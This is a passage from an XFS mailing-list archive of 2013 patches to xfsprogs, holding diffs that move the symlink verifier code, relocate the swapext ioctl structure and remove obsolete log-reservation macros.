100644 index e85dfd1..0000000 --- a/include/xfs_symlink.h +++ /dev/null @@ -1,47 +0,0 @@ -/* - * Copyright (c) 2012 Red Hat, Inc. All rights reserved. - */ -#ifndef __XFS_SYMLINK_H -#define __XFS_SYMLINK_H 1 - -#define XFS_SYMLINK_MAGIC 0x58534c4d /* XSLM */ - -struct xfs_dsymlink_hdr { - __be32 sl_magic; - __be32 sl_offset; - __be32 sl_bytes; - __be32 sl_crc; - uuid_t sl_uuid; - __be64 sl_owner; - __be64 sl_blkno; - __be64 sl_lsn; -}; - -/* - * The maximum pathlen is 1024 bytes. Since the minimum file system - * blocksize is 512 bytes, we can get a max of 3 extents back from - * bmapi when crc headers are taken into account. - */ -#define XFS_SYMLINK_MAPS 3 - -#define XFS_SYMLINK_BUF_SPACE(mp, bufsize) \ - ((bufsize) - (xfs_sb_version_hascrc(&(mp)->m_sb) ? \ - sizeof(struct xfs_dsymlink_hdr) : 0)) - -int xfs_symlink_blocks(struct xfs_mount *mp, int pathlen); -bool xfs_symlink_hdr_ok(struct xfs_mount *mp, xfs_ino_t ino, uint32_t offset, - uint32_t size, struct xfs_buf *bp); -void xfs_symlink_local_to_remote(struct xfs_trans *tp, struct xfs_buf *bp, - struct xfs_inode *ip, struct xfs_ifork *ifp); - -extern const struct xfs_buf_ops xfs_symlink_buf_ops; - -#ifdef __KERNEL__ - -int xfs_symlink(struct xfs_inode *dp, struct xfs_name *link_name, - const char *target_path, umode_t mode, struct xfs_inode **ipp); -int xfs_readlink(struct xfs_inode *ip, char *link); -int xfs_inactive_symlink_rmt(struct xfs_inode *ip, struct xfs_trans **tpp); - -#endif /* __KERNEL__ */ -#endif /* __XFS_SYMLINK_H */ diff --git a/libxfs/Makefile b/libxfs/Makefile index b7df144..6ba38f9 100644 --- a/libxfs/Makefile +++ b/libxfs/Makefile @@ -23,7 +23,7 @@ CFILES = cache.c init.c kmem.c logitem.c radix-tree.c rdwr.c trans.c util.c \ xfs_dir2_node.c xfs_dir2_data.c xfs_dir2_sf.c xfs_bmap.c \ xfs_mount.c xfs_rtalloc.c xfs_attr.c xfs_attr_remote.c \ crc32.c \ - xfs_symlink.c \ + xfs_symlink_remote.c \ xfs_trans_resv.c CFILES += $(PKG_PLATFORM).c diff --git a/libxfs/xfs_symlink.c b/libxfs/xfs_symlink.c deleted file mode 100644 index f2e69f9..0000000 --- a/libxfs/xfs_symlink.c +++ /dev/null @@ -1,176 +0,0 @@ -/* - * Copyright 2013 Red Hat, Inc. - * All rights reserved. - */ - -#include "xfs.h" - -/* - * Each contiguous block has a header, so it is not just a simple pathlen - * to FSB conversion. - */ -int -xfs_symlink_blocks( - struct xfs_mount *mp, - int pathlen) -{ - int buflen = XFS_SYMLINK_BUF_SPACE(mp, mp->m_sb.sb_blocksize); - - return (pathlen + buflen - 1) / buflen; -} - -/* - * This is used by mkfs/proto.c to create symlinks. - */ -int -xfs_symlink_hdr_set( - struct xfs_mount *mp, - xfs_ino_t ino, - uint32_t offset, - uint32_t size, - struct xfs_buf *bp) -{ - struct xfs_dsymlink_hdr *dsl = bp->b_addr; - - if (!xfs_sb_version_hascrc(&mp->m_sb)) - return 0; - - dsl->sl_magic = cpu_to_be32(XFS_SYMLINK_MAGIC); - dsl->sl_offset = cpu_to_be32(offset); - dsl->sl_bytes = cpu_to_be32(size); - uuid_copy(&dsl->sl_uuid, &mp->m_sb.sb_uuid); - dsl->sl_owner = cpu_to_be64(ino); - dsl->sl_blkno = cpu_to_be64(bp->b_bn); - bp->b_ops = &xfs_symlink_buf_ops; - - return sizeof(struct xfs_dsymlink_hdr); -} - -/* - * Checking of the symlink header is split into two parts. the verifier does - * CRC, location and bounds checking, the unpacking function checks the path - * parameters and owner. - */ -bool -xfs_symlink_hdr_ok( - struct xfs_mount *mp, - xfs_ino_t ino, - uint32_t offset, - uint32_t size, - struct xfs_buf *bp) -{ - struct xfs_dsymlink_hdr *dsl = bp->b_addr; - - if (offset != be32_to_cpu(dsl->sl_offset)) - return false; - if (size != be32_to_cpu(dsl->sl_bytes)) - return false; - if (ino != be64_to_cpu(dsl->sl_owner)) - return false; - - /* ok */ - return true; - -} - -static bool -xfs_symlink_verify( - struct xfs_buf *bp) -{ - struct xfs_mount *mp = bp->b_target->bt_mount; - struct xfs_dsymlink_hdr *dsl = bp->b_addr; - - if (!xfs_sb_version_hascrc(&mp->m_sb)) - return false; - if (dsl->sl_magic != cpu_to_be32(XFS_SYMLINK_MAGIC)) - return false; - if (!uuid_equal(&dsl->sl_uuid, &mp->m_sb.sb_uuid)) - return false; - if (bp->b_bn != be64_to_cpu(dsl->sl_blkno)) - return false; - if (be32_to_cpu(dsl->sl_offset) + - be32_to_cpu(dsl->sl_bytes) >= MAXPATHLEN) - return false; - if (dsl->sl_owner == 0) - return false; - - return true; -} - -static void -xfs_symlink_read_verify( - struct xfs_buf *bp) -{ - struct xfs_mount *mp = bp->b_target->bt_mount; - - /* no verification of non-crc buffers */ - if (!xfs_sb_version_hascrc(&mp->m_sb)) - return; - - if (!xfs_verify_cksum(bp->b_addr, BBTOB(bp->b_length), - offsetof(struct xfs_dsymlink_hdr, sl_crc)) || - !xfs_symlink_verify(bp)) { - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); - xfs_buf_ioerror(bp, EFSCORRUPTED); - } -} - -static void -xfs_symlink_write_verify( - struct xfs_buf *bp) -{ - struct xfs_mount *mp = bp->b_target->bt_mount; - struct xfs_buf_log_item *bip = bp->b_fspriv; - - /* no verification of non-crc buffers */ - if (!xfs_sb_version_hascrc(&mp->m_sb)) - return; - - if (!xfs_symlink_verify(bp)) { - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); - xfs_buf_ioerror(bp, EFSCORRUPTED); - return; - } - - if (bip) { - struct xfs_dsymlink_hdr *dsl = bp->b_addr; - dsl->sl_lsn = cpu_to_be64(bip->bli_item.li_lsn); - } - xfs_update_cksum(bp->b_addr, BBTOB(bp->b_length), - offsetof(struct xfs_dsymlink_hdr, sl_crc)); -} - -const struct xfs_buf_ops xfs_symlink_buf_ops = { - .verify_read = xfs_symlink_read_verify, - .verify_write = xfs_symlink_write_verify, -}; - -void -xfs_symlink_local_to_remote( - struct xfs_trans *tp, - struct xfs_buf *bp, - struct xfs_inode *ip, - struct xfs_ifork *ifp) -{ - struct xfs_mount *mp = ip->i_mount; - char *buf; - - if (!xfs_sb_version_hascrc(&mp->m_sb)) { - bp->b_ops = NULL; - memcpy(bp->b_addr, ifp->if_u1.if_data, ifp->if_bytes); - return; - } - - /* - * As this symlink fits in an inode literal area, it must also fit in - * the smallest buffer the filesystem supports. - */ - ASSERT(BBTOB(bp->b_length) >= - ifp->if_bytes + sizeof(struct xfs_dsymlink_hdr)); - - bp->b_ops = &xfs_symlink_buf_ops; - - buf = bp->b_addr; - buf += xfs_symlink_hdr_set(mp, ip->i_ino, 0, ifp->if_bytes, bp); - memcpy(buf, ifp->if_u1.if_data, ifp->if_bytes); -} diff --git a/libxfs/xfs_symlink_remote.c b/libxfs/xfs_symlink_remote.c new file mode 100644 index 0000000..539db0c --- /dev/null +++ b/libxfs/xfs_symlink_remote.c @@ -0,0 +1,185 @@ +/* + * Copyright (c) 2000-2006 Silicon Graphics, Inc. + * Copyright (c) 2012-2013 Red Hat, Inc. + * All rights reserved. + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License as + * published by the Free Software Foundation. + * + * This program is distributed in the hope that it would be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write the Free Software Foundation, + * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA + */ +#include + +/* + * Each contiguous block has a header, so it is not just a simple pathlen + * to FSB conversion. + */ +int +xfs_symlink_blocks( + struct xfs_mount *mp, + int pathlen) +{ + int buflen = XFS_SYMLINK_BUF_SPACE(mp, mp->m_sb.sb_blocksize); + + return (pathlen + buflen - 1) / buflen; +} + +int +xfs_symlink_hdr_set( + struct xfs_mount *mp, + xfs_ino_t ino, + uint32_t offset, + uint32_t size, + struct xfs_buf *bp) +{ + struct xfs_dsymlink_hdr *dsl = bp->b_addr; + + if (!xfs_sb_version_hascrc(&mp->m_sb)) + return 0; + + dsl->sl_magic = cpu_to_be32(XFS_SYMLINK_MAGIC); + dsl->sl_offset = cpu_to_be32(offset); + dsl->sl_bytes = cpu_to_be32(size); + uuid_copy(&dsl->sl_uuid, &mp->m_sb.sb_uuid); + dsl->sl_owner = cpu_to_be64(ino); + dsl->sl_blkno = cpu_to_be64(bp->b_bn); + bp->b_ops = &xfs_symlink_buf_ops; + + return sizeof(struct xfs_dsymlink_hdr); +} + +/* + * Checking of the symlink header is split into two parts. the verifier does + * CRC, location and bounds checking, the unpacking function checks the path + * parameters and owner. + */ +bool +xfs_symlink_hdr_ok( + struct xfs_mount *mp, + xfs_ino_t ino, + uint32_t offset, + uint32_t size, + struct xfs_buf *bp) +{ + struct xfs_dsymlink_hdr *dsl = bp->b_addr; + + if (offset != be32_to_cpu(dsl->sl_offset)) + return false; + if (size != be32_to_cpu(dsl->sl_bytes)) + return false; + if (ino != be64_to_cpu(dsl->sl_owner)) + return false; + + /* ok */ + return true; +} + +static bool +xfs_symlink_verify( + struct xfs_buf *bp) +{ + struct xfs_mount *mp = bp->b_target->bt_mount; + struct xfs_dsymlink_hdr *dsl = bp->b_addr; + + if (!xfs_sb_version_hascrc(&mp->m_sb)) + return false; + if (dsl->sl_magic != cpu_to_be32(XFS_SYMLINK_MAGIC)) + return false; + if (!uuid_equal(&dsl->sl_uuid, &mp->m_sb.sb_uuid)) + return false; + if (bp->b_bn != be64_to_cpu(dsl->sl_blkno)) + return false; + if (be32_to_cpu(dsl->sl_offset) + + be32_to_cpu(dsl->sl_bytes) >= MAXPATHLEN) + return false; + if (dsl->sl_owner == 0) + return false; + + return true; +} + +static void +xfs_symlink_read_verify( + struct xfs_buf *bp) +{ + struct xfs_mount *mp = bp->b_target->bt_mount; + + /* no verification of non-crc buffers */ + if (!xfs_sb_version_hascrc(&mp->m_sb)) + return; + + if (!xfs_verify_cksum(bp->b_addr, BBTOB(bp->b_length), + offsetof(struct xfs_dsymlink_hdr, sl_crc)) || + !xfs_symlink_verify(bp)) { + XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); + xfs_buf_ioerror(bp, EFSCORRUPTED); + } +} + +static void +xfs_symlink_write_verify( + struct xfs_buf *bp) +{ + struct xfs_mount *mp = bp->b_target->bt_mount; + struct xfs_buf_log_item *bip = bp->b_fspriv; + + /* no verification of non-crc buffers */ + if (!xfs_sb_version_hascrc(&mp->m_sb)) + return; + + if (!xfs_symlink_verify(bp)) { + XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); + xfs_buf_ioerror(bp, EFSCORRUPTED); + return; + } + + if (bip) { + struct xfs_dsymlink_hdr *dsl = bp->b_addr; + dsl->sl_lsn = cpu_to_be64(bip->bli_item.li_lsn); + } + xfs_update_cksum(bp->b_addr, BBTOB(bp->b_length), + offsetof(struct xfs_dsymlink_hdr, sl_crc)); +} + +const struct xfs_buf_ops xfs_symlink_buf_ops = { + .verify_read = xfs_symlink_read_verify, + .verify_write = xfs_symlink_write_verify, +}; + +void +xfs_symlink_local_to_remote( + struct xfs_trans *tp, + struct xfs_buf *bp, + struct xfs_inode *ip, + struct xfs_ifork *ifp) +{ + struct xfs_mount *mp = ip->i_mount; + char *buf; + + if (!xfs_sb_version_hascrc(&mp->m_sb)) { + bp->b_ops = NULL; + memcpy(bp->b_addr, ifp->if_u1.if_data, ifp->if_bytes); + return; + } + + /* + * As this symlink fits in an inode literal area, it must also fit in + * the smallest buffer the filesystem supports. + */ + ASSERT(BBTOB(bp->b_length) >= + ifp->if_bytes + sizeof(struct xfs_dsymlink_hdr)); + + bp->b_ops = &xfs_symlink_buf_ops; + + buf = bp->b_addr; + buf += xfs_symlink_hdr_set(mp, ip->i_ino, 0, ifp->if_bytes, bp); + memcpy(buf, ifp->if_u1.if_data, ifp->if_bytes); +} -- 1.8.3.2 From dave@fromorbit.com Fri Jul 19 01:45:48 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 4C6C58028 for ; Fri, 19 Jul 2013 01:45:40 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id C0DF7AC00E for ; Thu, 18 Jul 2013 23:45:39 -0700 (PDT) X-ASG-Debug-ID: 1374216332-04cb6c2a42ed6690004-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id Cx7W4cAYu9HyITyb for ; Thu, 18 Jul 2013 23:45:38 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: ArkLAMLf6FF5LK4r/2dsb2JhbABagwbBRgSBFRd0giQBAQVWMwgYMTkDGxmID7YjjnKFIAOhf4crgyQq Received: from ppp121-44-174-43.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.43]) by ipmail06.adl6.internode.on.net with ESMTP; 19 Jul 2013 16:15:33 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1V04RT-0004JK-9b for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:45:27 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1V04RT-0002Lr-8W for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:45:27 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 35/49] xfs: move swap extent code to xfs_extent_ops Date: Fri, 19 Jul 2013 16:45:10 +1000 X-ASG-Orig-Subj: [PATCH 35/49] xfs: move swap extent code to xfs_extent_ops Message-Id: <1374216324-8781-36-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1374216324-8781-1-git-send-email-david@fromorbit.com> References: <1374216324-8781-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1374216337 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137191 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner Swapping extents is clearly an extent operaiton, and it is not shared with userspace. Move the code to xfs_extent_ops.[ch], and the userspace ioctl structure definition to xfs_fs.h where most of the other ioctl structure definitions are. The means xfs_dfrag.h is no longer needed in userspace. Signed-off-by: Dave Chinner --- fsr/xfs_fsr.c | 1 - include/Makefile | 3 +-- include/xfs_dfrag.h | 53 ----------------------------------------------------- include/xfs_fs.h | 15 +++++++++++++++ 4 files changed, 16 insertions(+), 56 deletions(-) delete mode 100644 include/xfs_dfrag.h diff --git a/fsr/xfs_fsr.c b/fsr/xfs_fsr.c index 7e518c1..7596834 100644 --- a/fsr/xfs_fsr.c +++ b/fsr/xfs_fsr.c @@ -20,7 +20,6 @@ #include #include #include -#include #include #include #include diff --git a/include/Makefile b/include/Makefile index 53821ee..5090900 100644 --- a/include/Makefile +++ b/include/Makefile @@ -41,8 +41,7 @@ QAHFILES = libxfs.h libxlog.h \ xfs_trace.h \ xfs_trans.h \ xfs_trans_resv.h \ - xfs_trans_space.h \ - xfs_dfrag.h + xfs_trans_space.h HFILES = handle.h jdm.h xqm.h xfs.h xfs_fs.h xfs_types.h HFILES += $(PKG_PLATFORM).h diff --git a/include/xfs_dfrag.h b/include/xfs_dfrag.h deleted file mode 100644 index 20bdd93..0000000 --- a/include/xfs_dfrag.h +++ /dev/null @@ -1,53 +0,0 @@ -/* - * Copyright (c) 2000,2005 Silicon Graphics, Inc. - * All Rights Reserved. - * - * This program is free software; you can redistribute it and/or - * modify it under the terms of the GNU General Public License as - * published by the Free Software Foundation. - * - * This program is distributed in the hope that it would be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write the Free Software Foundation, - * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA - */ -#ifndef __XFS_DFRAG_H__ -#define __XFS_DFRAG_H__ - -/* - * Structure passed to xfs_swapext - */ - -typedef struct xfs_swapext -{ - __int64_t sx_version; /* version */ - __int64_t sx_fdtarget; /* fd of target file */ - __int64_t sx_fdtmp; /* fd of tmp file */ - xfs_off_t sx_offset; /* offset into file */ - xfs_off_t sx_length; /* leng from offset */ - char sx_pad[16]; /* pad space, unused */ - xfs_bstat_t sx_stat; /* stat of target b4 copy */ -} xfs_swapext_t; - -/* - * Version flag - */ -#define XFS_SX_VERSION 0 - -#ifdef __KERNEL__ -/* - * Prototypes for visible xfs_dfrag.c routines. - */ - -/* - * Syscall interface for xfs_swapext - */ -int xfs_swapext(struct xfs_swapext *sx); - -#endif /* __KERNEL__ */ - -#endif /* __XFS_DFRAG_H__ */ diff --git a/include/xfs_fs.h b/include/xfs_fs.h index 68c2e18..74b24b2 100644 --- a/include/xfs_fs.h +++ b/include/xfs_fs.h @@ -461,6 +461,21 @@ typedef struct xfs_handle { + (handle).ha_fid.fid_len) /* + * Structure passed to XFS_IOC_SWAPEXT + */ +typedef struct xfs_swapext +{ + __int64_t sx_version; /* version */ +#define XFS_SX_VERSION 0 + __int64_t sx_fdtarget; /* fd of target file */ + __int64_t sx_fdtmp; /* fd of tmp file */ + xfs_off_t sx_offset; /* offset into file */ + xfs_off_t sx_length; /* leng from offset */ + char sx_pad[16]; /* pad space, unused */ + xfs_bstat_t sx_stat; /* stat of target b4 copy */ +} xfs_swapext_t; + +/* * Flags for going down operation */ #define XFS_FSOP_GOING_FLAGS_DEFAULT 0x0 /* going down */ -- 1.8.3.2 From dave@fromorbit.com Fri Jul 19 01:45:46 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 3F18D8019 for ; Fri, 19 Jul 2013 01:45:40 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 2ECEC304039 for ; Thu, 18 Jul 2013 23:45:40 -0700 (PDT) X-ASG-Debug-ID: 1374216330-04cbb0468f117d540007-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id bXvkPc05hbKpVu6m for ; Thu, 18 Jul 2013 23:45:38 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: ArkLAMLf6FF5LK4r/2dsb2JhbABagwbBRgSBFRd0giQBAQVWMwgYMTkDGxmID7YjjnKBOoNmA6kqgyQq Received: from ppp121-44-174-43.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.43]) by ipmail06.adl6.internode.on.net with ESMTP; 19 Jul 2013 16:15:33 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1V04RT-0004JY-Cr for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:45:27 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1V04RT-0002MB-Av for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:45:27 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 39/49] xfs: move kernel specific type definitions to xfs.h Date: Fri, 19 Jul 2013 16:45:14 +1000 X-ASG-Orig-Subj: [PATCH 39/49] xfs: move kernel specific type definitions to xfs.h Message-Id: <1374216324-8781-40-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1374216324-8781-1-git-send-email-david@fromorbit.com> References: <1374216324-8781-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1374216338 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137191 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner xfs_types.h is shared with userspace, so having kernel specific types defined in it is problematic. Move all the kernel specific defines to xfs_linux.h so we can remove the __KERNEL__ guards from xfs_types.h Signed-off-by: Dave Chinner --- include/xfs_types.h | 36 ------------------------------------ 1 file changed, 36 deletions(-) diff --git a/include/xfs_types.h b/include/xfs_types.h index 6ed6b26..ce44b18 100644 --- a/include/xfs_types.h +++ b/include/xfs_types.h @@ -18,42 +18,6 @@ #ifndef __XFS_TYPES_H__ #define __XFS_TYPES_H__ -#ifdef __KERNEL__ - -/* - * Additional type declarations for XFS - */ -typedef signed char __int8_t; -typedef unsigned char __uint8_t; -typedef signed short int __int16_t; -typedef unsigned short int __uint16_t; -typedef signed int __int32_t; -typedef unsigned int __uint32_t; -typedef signed long long int __int64_t; -typedef unsigned long long int __uint64_t; - -typedef __uint32_t inst_t; /* an instruction */ - -typedef __s64 xfs_off_t; /* type */ -typedef unsigned long long xfs_ino_t; /* type */ -typedef __s64 xfs_daddr_t; /* type */ -typedef char * xfs_caddr_t; /* type */ -typedef __u32 xfs_dev_t; -typedef __u32 xfs_nlink_t; - -/* __psint_t is the same size as a pointer */ -#if (BITS_PER_LONG == 32) -typedef __int32_t __psint_t; -typedef __uint32_t __psunsigned_t; -#elif (BITS_PER_LONG == 64) -typedef __int64_t __psint_t; -typedef __uint64_t __psunsigned_t; -#else -#error BITS_PER_LONG must be 32 or 64 -#endif - -#endif /* __KERNEL__ */ - typedef __uint32_t prid_t; /* project ID */ typedef __uint32_t xfs_agblock_t; /* blockno in alloc. group */ -- 1.8.3.2 From dave@fromorbit.com Fri Jul 19 01:45:48 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id E768D8021 for ; Fri, 19 Jul 2013 01:45:40 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id C7F078F8033 for ; Thu, 18 Jul 2013 23:45:40 -0700 (PDT) X-ASG-Debug-ID: 1374216332-04cb6c2a42ed6690005-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id fv6kgbLz8VIL8QHP for ; Thu, 18 Jul 2013 23:45:39 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AtULAMLf6FF5LK4r/2dsb2JhbABagwbAQIEGBAGBFBd0giQBAQUnLzMIGDE5AxsZiA+2I45ygRKEDgOhf4crgyQq Received: from ppp121-44-174-43.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.43]) by ipmail06.adl6.internode.on.net with ESMTP; 19 Jul 2013 16:15:35 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1V04RT-0004Jm-GT for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:45:27 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1V04RT-0002Mf-FX for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:45:27 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 45/49] xfs: Get rid of all XFS_XXX_LOG_RES() macro Date: Fri, 19 Jul 2013 16:45:20 +1000 X-ASG-Orig-Subj: [PATCH 45/49] xfs: Get rid of all XFS_XXX_LOG_RES() macro Message-Id: <1374216324-8781-46-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1374216324-8781-1-git-send-email-david@fromorbit.com> References: <1374216324-8781-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1374216338 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137191 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Jie Liu Get rid of all XFS_XXX_LOG_RES() macros since they are obsoleted now. Signed-off-by: Jie Liu Signed-off-by: Dave Chinner --- include/xfs_trans_resv.h | 36 ------------------------------------ mkfs/maxtrres.c | 5 +++-- 2 files changed, 3 insertions(+), 38 deletions(-) diff --git a/include/xfs_trans_resv.h b/include/xfs_trans_resv.h index 140d3f3..de7de9a 100644 --- a/include/xfs_trans_resv.h +++ b/include/xfs_trans_resv.h @@ -92,42 +92,6 @@ struct xfs_trans_resv { (XFS_DAENTER_BLOCKS(mp, XFS_DATA_FORK) + \ XFS_DAENTER_BMAPS(mp, XFS_DATA_FORK) + 1) - -#define XFS_WRITE_LOG_RES(mp) ((mp)->m_resv.tr_write.tr_logres) -#define XFS_RENAME_LOG_RES(mp) ((mp)->m_resv.tr_rename.tr_logres) -#define XFS_LINK_LOG_RES(mp) ((mp)->m_resv.tr_link.tr_logres) -#define XFS_REMOVE_LOG_RES(mp) ((mp)->m_resv.tr_remove.tr_logres) -#define XFS_SYMLINK_LOG_RES(mp) ((mp)->m_resv.tr_symlink.tr_logres) -#define XFS_CREATE_LOG_RES(mp) ((mp)->m_resv.tr_create.tr_logres) -#define XFS_MKDIR_LOG_RES(mp) ((mp)->m_resv.tr_mkdir.tr_logres) -#define XFS_IFREE_LOG_RES(mp) ((mp)->m_resv.tr_ifree.tr_logres) -#define XFS_SWRITE_LOG_RES(mp) ((mp)->m_resv.tr_swrite.tr_logres) -#define XFS_ICHANGE_LOG_RES(mp) ((mp)->m_resv.tr_ichange.tr_logres) -#define XFS_GROWDATA_LOG_RES(mp) ((mp)->m_resv.tr_growdata.tr_logres) -#define XFS_ITRUNCATE_LOG_RES(mp) ((mp)->m_resv.tr_itruncate.tr_logres) -#define XFS_GROWRTZERO_LOG_RES(mp) ((mp)->m_resv.tr_growrtzero.tr_logres) -#define XFS_GROWRTFREE_LOG_RES(mp) ((mp)->m_resv.tr_growrtfree.tr_logres) -#define XFS_GROWRTALLOC_LOG_RES(mp) ((mp)->m_resv.tr_growrtalloc.tr_logres) - -/* - * Logging the inode timestamps on an fsync -- same as SWRITE - * as long as SWRITE logs the entire inode core - */ -#define XFS_FSYNC_TS_LOG_RES(mp) ((mp)->m_resv.tr_fsyncts.tr_logres) -#define XFS_WRITEID_LOG_RES(mp) ((mp)->m_resv.tr_writeid.tr_logres) -#define XFS_ADDAFORK_LOG_RES(mp) ((mp)->m_resv.tr_addafork.tr_logres) -#define XFS_ATTRSETM_LOG_RES(mp) ((mp)->m_resv.tr_attrsetm.tr_logres) -#define XFS_ATTRINVAL_LOG_RES(mp) ((mp)->m_resv.tr_attrinval.tr_logres) -#define XFS_ATTRSETRT_LOG_RES(mp) ((mp)->m_resv.tr_attrsetrt.tr_logres) -#define XFS_ATTRRM_LOG_RES(mp) ((mp)->m_resv.tr_attrrm.tr_logres) -#define XFS_SB_LOG_RES(mp) ((mp)->m_resv.tr_sb.tr_logres) -#define XFS_QM_SETQLIM_LOG_RES(mp) ((mp)->m_resv.tr_qm_setqlim.tr_logres) -#define XFS_QM_DQALLOC_LOG_RES(mp) 